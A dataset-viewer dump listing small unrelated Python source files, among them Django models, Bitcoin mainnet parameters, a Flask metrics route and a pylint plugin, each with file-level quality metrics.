# linear_kryw_5_100_c67: {7:['#111111', '#6C0004', '#B20000', '#F81300', '#FF7D05', '#FFC43E', '#FFFFFF']},
# linear_ternary_blue_0_44_c57: {7:['#000000', '#051238', '#091F5E', '#0D2B83', '#1139AB', '#1546D3', '#1A54FF']},
# linear_ternary_green_0_46_c42: {7:['#000000', '#001C00', '#002E00', '#004100', '#005500', '#006900', '#008000']},
# linear_ternary_red_0_50_c52: {7:['#000000', '#320900', '#531000', '#761600', '#991C00', '#BE2400', '#E62B00']}
# }
| 177.686667
| 751
| 0.599032
| 3,026
| 26,653
| 5.207535
| 0.375744
| 0.009138
| 0.011423
| 0.013707
| 0.400051
| 0.36299
| 0.295469
| 0.178195
| 0.092905
| 0.024369
| 0
| 0.311581
| 0.042697
| 26,653
| 149
| 752
| 178.879195
| 0.306016
| 0.251416
| 0
| 0
| 0
| 0
| 0.601338
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a8543ad1ee5ce69d3d0f7b2b5a2fd19eb0db08b2
| 208
|
py
|
Python
|
manga_py/providers/mintmanga_com.py
|
paulolimac/manga-py
|
3d180846750a4e770b5024eb8cd15629362875b1
|
[
"MIT"
] | null | null | null |
manga_py/providers/mintmanga_com.py
|
paulolimac/manga-py
|
3d180846750a4e770b5024eb8cd15629362875b1
|
[
"MIT"
] | null | null | null |
manga_py/providers/mintmanga_com.py
|
paulolimac/manga-py
|
3d180846750a4e770b5024eb8cd15629362875b1
|
[
"MIT"
] | null | null | null |
from .helpers.std import Std
from .readmanga_me import ReadmangaMe
class MintMangaCom(ReadmangaMe, Std):
def get_manga_name(self):
return self._get_name(r'\.com/([^/]+)')
main = MintMangaCom
| 17.333333
| 47
| 0.706731
| 27
| 208
| 5.259259
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.168269
| 208
| 11
| 48
| 18.909091
| 0.820809
| 0
| 0
| 0
| 0
| 0
| 0.0625
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0.166667
| 0.833333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
a856bcd95bcfa5355e08a4c4c7522bb1b5ac4ff4
| 79
|
py
|
Python
|
voctocore/lib/errors/configuration_error.py
|
0xflotus/voctomix
|
3156f3546890e6ae8d379df17e5cc718eee14b15
|
[
"MIT"
] | 521
|
2015-01-07T21:43:30.000Z
|
2022-03-17T22:07:13.000Z
|
voctocore/lib/errors/configuration_error.py
|
0xflotus/voctomix
|
3156f3546890e6ae8d379df17e5cc718eee14b15
|
[
"MIT"
] | 241
|
2015-05-27T10:11:09.000Z
|
2022-02-11T03:29:20.000Z
|
voctocore/lib/errors/configuration_error.py
|
0xflotus/voctomix
|
3156f3546890e6ae8d379df17e5cc718eee14b15
|
[
"MIT"
] | 111
|
2015-08-13T20:06:52.000Z
|
2022-03-11T09:48:46.000Z
|
class ConfigurationError(RuntimeError):
"""Problem in the Configuration"""
| 26.333333
| 39
| 0.759494
| 7
| 79
| 8.571429
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.126582
| 79
| 2
| 40
| 39.5
| 0.869565
| 0.35443
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
a8633768f50c33e1cec0a05c44c1f7416db991c9
| 4,353
|
py
|
Python
|
decred/decred/btc/nets/mainnet.py
|
rstaudt2/tinydecred
|
863fd39ca347c64a66806bd10a3e138d5f6ad577
|
[
"ISC"
] | null | null | null |
decred/decred/btc/nets/mainnet.py
|
rstaudt2/tinydecred
|
863fd39ca347c64a66806bd10a3e138d5f6ad577
|
[
"ISC"
] | 2
|
2021-06-02T03:28:57.000Z
|
2021-06-02T03:36:44.000Z
|
decred/decred/btc/nets/mainnet.py
|
rstaudt2/tinydecred
|
863fd39ca347c64a66806bd10a3e138d5f6ad577
|
[
"ISC"
] | null | null | null |
"""
Copyright (c) 2020, The Decred developers
See LICENSE for details.
mainnet holds mainnet parameters. Any values should mirror exactly
https://github.com/btcsuite/btcd/blob/master/chaincfg/params.go
"""
Name = "mainnet"
DefaultPort = "8333"
DNSSeeds = [
("seed.bitcoin.sipa.be", True),
("dnsseed.bluematt.me", True),
("dnsseed.bitcoin.dashjr.org", False),
("seed.bitcoinstats.com", True),
("seed.bitnodes.io", False),
("seed.bitcoin.jonasschnelli.ch", True),
]
# Chain parameters
GenesisHash = "000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f"
PowLimit = 2 ^ 224 - 1
PowLimitBits = 0x1D00FFFF
BIP0034Height = (
227931 # 000000000000024b89b42a942fe0d9fea3bb44ab7bd1b19115dd6a759c0808b8
)
BIP0065Height = (
388381 # 000000000000000004c2b624ed5d7756c508d90fd0da2c7c679febfa6c4735f0
)
BIP0066Height = (
363725 # 00000000000000000379eaa19dce8c9b722d46ae6a57c2f1a988119488b50931
)
CoinbaseMaturity = 100
SubsidyReductionInterval = 210000
TargetTimespan = 60 * 60 * 24 * 14 # 14 days
TargetTimePerBlock = 60 * 10 # 10 minutes
RetargetAdjustmentFactor = 4 # 25% less, 400% more
ReduceMinDifficulty = False
MinDiffReductionTime = 0
GenerateSupported = False
# Checkpoints ordered from oldest to newest.
Checkpoints = [
(11111, "0000000069e244f73d78e8fd29ba2fd2ed618bd6fa2ee92559f542fdb26e7c1d"),
(33333, "000000002dd5588a74784eaa7ab0507a18ad16a236e7b1ce69f00d7ddfb5d0a6"),
(74000, "0000000000573993a3c9e41ce34471c079dcf5f52a0e824a81e7f953b8661a20"),
(105000, "00000000000291ce28027faea320c8d2b054b2e0fe44a773f3eefb151d6bdc97"),
(134444, "00000000000005b12ffd4cd315cd34ffd4a594f430ac814c91184a0d42d2b0fe"),
(168000, "000000000000099e61ea72015e79632f216fe6cb33d7899acb35b75c8303b763"),
(193000, "000000000000059f452a5f7340de6682a977387c17010ff6e6c3bd83ca8b1317"),
(210000, "000000000000048b95347e83192f69cf0366076336c639f9b7228e9ba171342e"),
(216116, "00000000000001b4f4b433e81ee46494af945cf96014816a4e2370f11b23df4e"),
(225430, "00000000000001c108384350f74090433e7fcf79a606b8e797f065b130575932"),
(250000, "000000000000003887df1f29024b06fc2200b55f8af8f35453d7be294df2d214"),
(267300, "000000000000000a83fbd660e918f218bf37edd92b748ad940483c7c116179ac"),
(279000, "0000000000000001ae8c72a0b0c301f67e3afca10e819efa9041e458e9bd7e40"),
(300255, "0000000000000000162804527c6e9b9f0563a280525f9d08c12041def0a0f3b2"),
(319400, "000000000000000021c6052e9becade189495d1c539aa37c58917305fd15f13b"),
(343185, "0000000000000000072b8bf361d01a6ba7d445dd024203fafc78768ed4368554"),
(352940, "000000000000000010755df42dba556bb72be6a32f3ce0b6941ce4430152c9ff"),
(382320, "00000000000000000a8dc6ed5b133d0eb2fd6af56203e4159789b092defd8ab2"),
(400000, "000000000000000004ec466ce4732fe6f1ed1cddc2ed4b328fff5224276e3f6f"),
(430000, "000000000000000001868b2bb3a285f3cc6b33ea234eb70facf4dcdf22186b87"),
(460000, "000000000000000000ef751bbce8e744ad303c47ece06c8d863e4d417efc258c"),
(490000, "000000000000000000de069137b17b8d5a3dfbd5b145b2dcfb203f15d0c4de90"),
(520000, "0000000000000000000d26984c0229c9f6962dc74db0a6d525f2f1640396f69c"),
(550000, "000000000000000000223b7a2298fb1c6c75fb0efc28a4c56853ff4112ec6bc9"),
(560000, "0000000000000000002c7b276daf6efb2b6aa68e2ce3be67ef925b3264ae7122"),
]
# Consensus rule change deployments.
#
# The miner confirmation window is defined as:
# target proof of work timespan / target proof of work spacing
RuleChangeActivationThreshold = 1916 # 95% of MinerConfirmationWindow
MinerConfirmationWindow = 2016
# Mempool parameters
RelayNonStdTxs = False
# Human-readable part for Bech32 encoded segwit addresses, as defined in
# BIP 173.
Bech32HRPSegwit = "bc" # always bc for main net
# Address encoding magics
PubKeyHashAddrID = 0x00 # starts with 1
ScriptHashAddrID = 0x05 # starts with 3
PrivateKeyID = 0x80 # starts with 5 (uncompressed) or K (compressed)
WitnessPubKeyHashAddrID = 0x06 # starts with p2
WitnessScriptHashAddrID = 0x0A # starts with 7Xh
# BIP32 hierarchical deterministic extended key magics
HDPrivateKeyID = (0x0488ADE4).to_bytes(4, byteorder="big") # starts with xprv
HDPublicKeyID = (0x0488B21E).to_bytes(4, byteorder="big") # starts with xpub
# BIP44 coin type used in the hierarchical deterministic path for
# address generation.
HDCoinType = 0
| 43.969697
| 81
| 0.808178
| 289
| 4,353
| 12.16609
| 0.778547
| 0.019909
| 0.007395
| 0.00967
| 0.017065
| 0.017065
| 0.017065
| 0
| 0
| 0
| 0
| 0.414052
| 0.113944
| 4,353
| 98
| 82
| 44.418367
| 0.497537
| 0.250402
| 0
| 0
| 0
| 0
| 0.561958
| 0.539033
| 0
| 0
| 0.015489
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a8a2f6e0008dcd487b3b8337ae1b90fdc889f61b
| 971
|
py
|
Python
|
Quiz/models.py
|
m-krishnachaitanya/QCreator_Backend
|
873716fb6c1a260aeb57b04197ad228145722933
|
[
"MIT"
] | null | null | null |
Quiz/models.py
|
m-krishnachaitanya/QCreator_Backend
|
873716fb6c1a260aeb57b04197ad228145722933
|
[
"MIT"
] | null | null | null |
Quiz/models.py
|
m-krishnachaitanya/QCreator_Backend
|
873716fb6c1a260aeb57b04197ad228145722933
|
[
"MIT"
] | null | null | null |
from django.db import models
# Create your models here.
class Quizes(models.Model):
quizid = models.CharField(primary_key = True, max_length = 10)
userid = models.IntegerField()
start_date = models.DateTimeField()
end_date = models.DateTimeField()
class Questions(models.Model):
questionid = models.AutoField(primary_key = True, default = None)
quizid = models.CharField(max_length = 10)
question = models.CharField(max_length = 2048)
option1 = models.CharField(max_length = 2048)
option2 = models.CharField(max_length = 2048)
option3 = models.CharField(max_length = 2048)
option4 = models.CharField(max_length = 2048)
answer = models.IntegerField()
class Submissions(models.Model):
quizid = models.CharField(max_length = 10)
name = models.CharField(max_length = 100)
response = models.CharField(max_length = 2048)
score = models.IntegerField()
record_date = models.DateTimeField(auto_now_add = True)
| 38.84
| 69
| 0.727085
| 117
| 971
| 5.888889
| 0.393162
| 0.217707
| 0.235123
| 0.313498
| 0.399129
| 0.092888
| 0
| 0
| 0
| 0
| 0
| 0.045963
| 0.170958
| 971
| 25
| 70
| 38.84
| 0.809938
| 0.024717
| 0
| 0.095238
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.047619
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
a8ab70cc8f622cc38a7333f8e425fec24622805b
| 211
|
py
|
Python
|
tests/test_ssm.py
|
MITLibraries/wiley-deposits
|
33659d760d9e39ca0aef0098e726132b5e2205de
|
[
"Apache-2.0"
] | 2
|
2022-01-26T15:05:48.000Z
|
2022-01-31T17:28:47.000Z
|
tests/test_ssm.py
|
MITLibraries/wiley-deposits
|
33659d760d9e39ca0aef0098e726132b5e2205de
|
[
"Apache-2.0"
] | 10
|
2021-08-03T21:23:39.000Z
|
2022-02-10T15:24:12.000Z
|
tests/test_ssm.py
|
MITLibraries/wiley-deposits
|
33659d760d9e39ca0aef0098e726132b5e2205de
|
[
"Apache-2.0"
] | null | null | null |
from awd.ssm import SSM
def test_ssm_get_parameter_value(mocked_ssm):
ssm = SSM()
parameter_value = ssm.get_parameter_value("/test/example/collection_handle")
assert parameter_value == "111.1/111"
| 26.375
| 80
| 0.753555
| 31
| 211
| 4.806452
| 0.516129
| 0.375839
| 0.201342
| 0.268456
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.038674
| 0.14218
| 211
| 7
| 81
| 30.142857
| 0.78453
| 0
| 0
| 0
| 0
| 0
| 0.189573
| 0.146919
| 0
| 0
| 0
| 0
| 0.2
| 1
| 0.2
| false
| 0
| 0.2
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a8b78c7a3ed14a9f2dc864439a43a06366a67f2a
| 109
|
py
|
Python
|
stats/data.py
|
hennyjiru/Python-Baseball
|
6c8288393321d38a850a00030fd08f58a8dc8721
|
[
"MIT"
] | null | null | null |
stats/data.py
|
hennyjiru/Python-Baseball
|
6c8288393321d38a850a00030fd08f58a8dc8721
|
[
"MIT"
] | null | null | null |
stats/data.py
|
hennyjiru/Python-Baseball
|
6c8288393321d38a850a00030fd08f58a8dc8721
|
[
"MIT"
] | null | null | null |
import os
import glob
import pandas as pd
game_files = glob.glob(os.path.join(os.getcwd(),'games','*.EVE'))
| 18.166667
| 65
| 0.715596
| 19
| 109
| 4.052632
| 0.684211
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.110092
| 109
| 5
| 66
| 21.8
| 0.793814
| 0
| 0
| 0
| 0
| 0
| 0.091743
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
a8c9033e62e646cfb77fd0243a2dff3d21db37ab
| 170
|
py
|
Python
|
python/04_convert.py
|
PPACI/Devoxx19-TensorflowJS
|
4096c8ea460af8a9f8a36df01e88309568318ab8
|
[
"MIT"
] | 3
|
2019-07-20T12:15:06.000Z
|
2020-08-06T16:56:37.000Z
|
python/04_convert.py
|
PPACI/Devoxx19-TensorflowJS
|
4096c8ea460af8a9f8a36df01e88309568318ab8
|
[
"MIT"
] | null | null | null |
python/04_convert.py
|
PPACI/Devoxx19-TensorflowJS
|
4096c8ea460af8a9f8a36df01e88309568318ab8
|
[
"MIT"
] | 4
|
2019-03-04T20:56:35.000Z
|
2021-04-07T16:26:44.000Z
|
import tensorflowjs
from tensorflow.python.keras.models import load_model
model = load_model('croissant.hdf5')
tensorflowjs.converters.save_keras_model(model, 'model_js')
| 42.5
| 59
| 0.847059
| 23
| 170
| 6.043478
| 0.608696
| 0.215827
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.00625
| 0.058824
| 170
| 4
| 59
| 42.5
| 0.8625
| 0
| 0
| 0
| 0
| 0
| 0.128655
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
a8d0723473c0d854c9858360b8ef8c023133ce76
| 675
|
py
|
Python
|
logical/converter/qiskit/backends/ibmq/credentials/_configrc.py
|
malcolmregan/GateCircuit-to-AnnealerEmbedding
|
33a1a4ea2ebd707ade0677e0df468d5120a861db
|
[
"Apache-2.0"
] | null | null | null |
logical/converter/qiskit/backends/ibmq/credentials/_configrc.py
|
malcolmregan/GateCircuit-to-AnnealerEmbedding
|
33a1a4ea2ebd707ade0677e0df468d5120a861db
|
[
"Apache-2.0"
] | 1
|
2019-04-09T02:22:38.000Z
|
2019-04-09T02:22:38.000Z
|
logical/converter/qiskit/backends/ibmq/credentials/_configrc.py
|
malcolmregan/GateCircuit-to-AnnealerEmbedding
|
33a1a4ea2ebd707ade0677e0df468d5120a861db
|
[
"Apache-2.0"
] | null | null | null |
import os
from ast import literal_eval
from collections import OrderedDict
from configparser import ConfigParser, ParsingError
from converter.qiskit import QISKitError
from .credentials import Credentials
def read_credentials_from_qiskitrc(filename=None):
pass
def write_qiskit_rc(credentials, filename=None):
pass
def _credentials_object_to_dict(obj):
pass
def _section_name(credentials_):
pass
def store_credentials(credentials, overwrite=False, filename=None):
pass
def remove_credentials(credentials, filename=None):
pass
#from converter.qiskitve credentials from qiskitrc.
#^whered this come from?
| 12.735849
| 67
| 0.76
| 79
| 675
| 6.303797
| 0.455696
| 0.070281
| 0.128514
| 0.114458
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.186667
| 675
| 52
| 68
| 12.980769
| 0.907104
| 0.108148
| 0
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
76425e4e295d3632ecdd53d90a696c2bf6548525
| 213
|
py
|
Python
|
simplesrs/__init__.py
|
patarapolw/simplesrs
|
39b39c243ca033702d3bd4d9f0f088ff421fb2de
|
[
"MIT"
] | 12
|
2018-10-28T12:53:13.000Z
|
2021-07-18T19:02:10.000Z
|
simplesrs/__init__.py
|
patarapolw/simplesrs
|
39b39c243ca033702d3bd4d9f0f088ff421fb2de
|
[
"MIT"
] | null | null | null |
simplesrs/__init__.py
|
patarapolw/simplesrs
|
39b39c243ca033702d3bd4d9f0f088ff421fb2de
|
[
"MIT"
] | 1
|
2018-10-28T10:38:33.000Z
|
2018-10-28T10:38:33.000Z
|
from .db import database, Settings, CardTag, Card, Tag
def init(filename, **kwargs):
database.init(filename, **kwargs)
database.create_tables([Settings, Card, Tag, CardTag])
Settings.get_or_create()
| 26.625
| 58
| 0.71831
| 27
| 213
| 5.555556
| 0.592593
| 0.093333
| 0.24
| 0.346667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.150235
| 213
| 7
| 59
| 30.428571
| 0.828729
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
76561612997349ba1c3c2727c8e6fd4399dff53f
| 410
|
py
|
Python
|
virtual/lib/python3.6/site-packages/pylint_sqlalchemy/__init__.py
|
mishel254/user-stories
|
fb64d7a2f37201603398f5db45fe7b7e0d63b193
|
[
"MIT"
] | 4
|
2018-10-31T23:10:48.000Z
|
2021-05-21T14:51:20.000Z
|
virtual/lib/python3.6/site-packages/pylint_sqlalchemy/__init__.py
|
mishel254/user-stories
|
fb64d7a2f37201603398f5db45fe7b7e0d63b193
|
[
"MIT"
] | 4
|
2019-06-09T22:06:18.000Z
|
2022-02-24T13:30:13.000Z
|
virtual/lib/python3.6/site-packages/pylint_sqlalchemy/__init__.py
|
mishel254/user-stories
|
fb64d7a2f37201603398f5db45fe7b7e0d63b193
|
[
"MIT"
] | 1
|
2019-06-11T14:13:43.000Z
|
2019-06-11T14:13:43.000Z
|
"""Establish pylint_sqlalchemy package."""
import astroid
from astroid import MANAGER
from pylint_sqlalchemy import plugin
from pylint_sqlalchemy._version import __version__ # pylint: disable=unused-import
from pylint_sqlalchemy.dml_no_argument import strip_dml
def register(_):
"""Register plugins with pylint."""
MANAGER.register_transform(astroid.FunctionDef, strip_dml)
__all__ = ["plugin"]
| 24.117647
| 83
| 0.797561
| 49
| 410
| 6.285714
| 0.469388
| 0.207792
| 0.194805
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121951
| 410
| 16
| 84
| 25.625
| 0.855556
| 0.236585
| 0
| 0
| 0
| 0
| 0.019868
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.125
| false
| 0
| 0.625
| 0
| 0.75
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
76a5226ee60f0203a6c28109e0dc747b5d6a2b25
| 340
|
py
|
Python
|
app/controllers/metric_routes.py
|
IntershopCommunicationsAG/ish-monitoring-oracledb-exporter
|
a88693d7bf2693e898c0308583431eb6dca45649
|
[
"MIT"
] | 1
|
2021-03-15T06:47:03.000Z
|
2021-03-15T06:47:03.000Z
|
app/controllers/metric_routes.py
|
IntershopCommunicationsAG/ish-monitoring-postgresqldb-exporter
|
2998e2baaed315c6f545879e03f13430c024e01e
|
[
"MIT"
] | null | null | null |
app/controllers/metric_routes.py
|
IntershopCommunicationsAG/ish-monitoring-postgresqldb-exporter
|
2998e2baaed315c6f545879e03f13430c024e01e
|
[
"MIT"
] | 1
|
2021-01-09T13:52:38.000Z
|
2021-01-09T13:52:38.000Z
|
"""
This is where all the metric routes and controllers are defined.
"""
from flask import Blueprint, current_app
from prometheus_client.exposition import make_wsgi_app
metric_blueprint = Blueprint('metric_blueprint', __name__)
@metric_blueprint.route('/metrics')
def metrics():
return make_wsgi_app(current_app.prom_init.registry)
| 24.285714
| 64
| 0.8
| 46
| 340
| 5.586957
| 0.652174
| 0.175097
| 0.085603
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.114706
| 340
| 13
| 65
| 26.153846
| 0.853821
| 0.188235
| 0
| 0
| 0
| 0
| 0.089552
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0.166667
| 0.666667
| 0.5
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
|
0
| 4
|
76c18387f54f0f5dce4e4f2d4922482c643fb68a
| 127
|
py
|
Python
|
test/test_datetime.py
|
laashub-soa/executor-monitor-trace-skywalking-alarm
|
af401c885df72d15258f8ad1bb05fa639f502d8d
|
[
"Apache-2.0"
] | null | null | null |
test/test_datetime.py
|
laashub-soa/executor-monitor-trace-skywalking-alarm
|
af401c885df72d15258f8ad1bb05fa639f502d8d
|
[
"Apache-2.0"
] | null | null | null |
test/test_datetime.py
|
laashub-soa/executor-monitor-trace-skywalking-alarm
|
af401c885df72d15258f8ad1bb05fa639f502d8d
|
[
"Apache-2.0"
] | null | null | null |
import datetime
if __name__ == '__main__':
print(datetime.datetime.fromtimestamp(1632790502).strftime("%Y-%m-%d %H%M%S"))
| 25.4
| 82
| 0.708661
| 17
| 127
| 4.823529
| 0.823529
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.087719
| 0.102362
| 127
| 4
| 83
| 31.75
| 0.631579
| 0
| 0
| 0
| 0
| 0
| 0.181102
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
4f177a7e75a81c1258589999855d53da07642b8f
| 134
|
py
|
Python
|
utils/issues/issue#89.py
|
advay168/mlconjug3
|
7b820467e3ad40b545a57f44f591732fe34288ea
|
[
"MIT"
] | 43
|
2020-01-27T11:39:42.000Z
|
2022-03-01T07:51:58.000Z
|
utils/issues/issue#89.py
|
advay168/mlconjug3
|
7b820467e3ad40b545a57f44f591732fe34288ea
|
[
"MIT"
] | 269
|
2020-01-27T11:32:49.000Z
|
2022-02-03T14:57:24.000Z
|
utils/issues/issue#89.py
|
advay168/mlconjug3
|
7b820467e3ad40b545a57f44f591732fe34288ea
|
[
"MIT"
] | 5
|
2020-06-17T11:00:56.000Z
|
2022-01-25T10:48:22.000Z
|
import mlconjug3
default_conjugator = mlconjug3.Conjugator(language='en')
print(default_conjugator.conjugate('swing').conjug_info)
| 19.142857
| 56
| 0.820896
| 15
| 134
| 7.133333
| 0.733333
| 0.317757
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016
| 0.067164
| 134
| 6
| 57
| 22.333333
| 0.84
| 0
| 0
| 0
| 0
| 0
| 0.052632
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.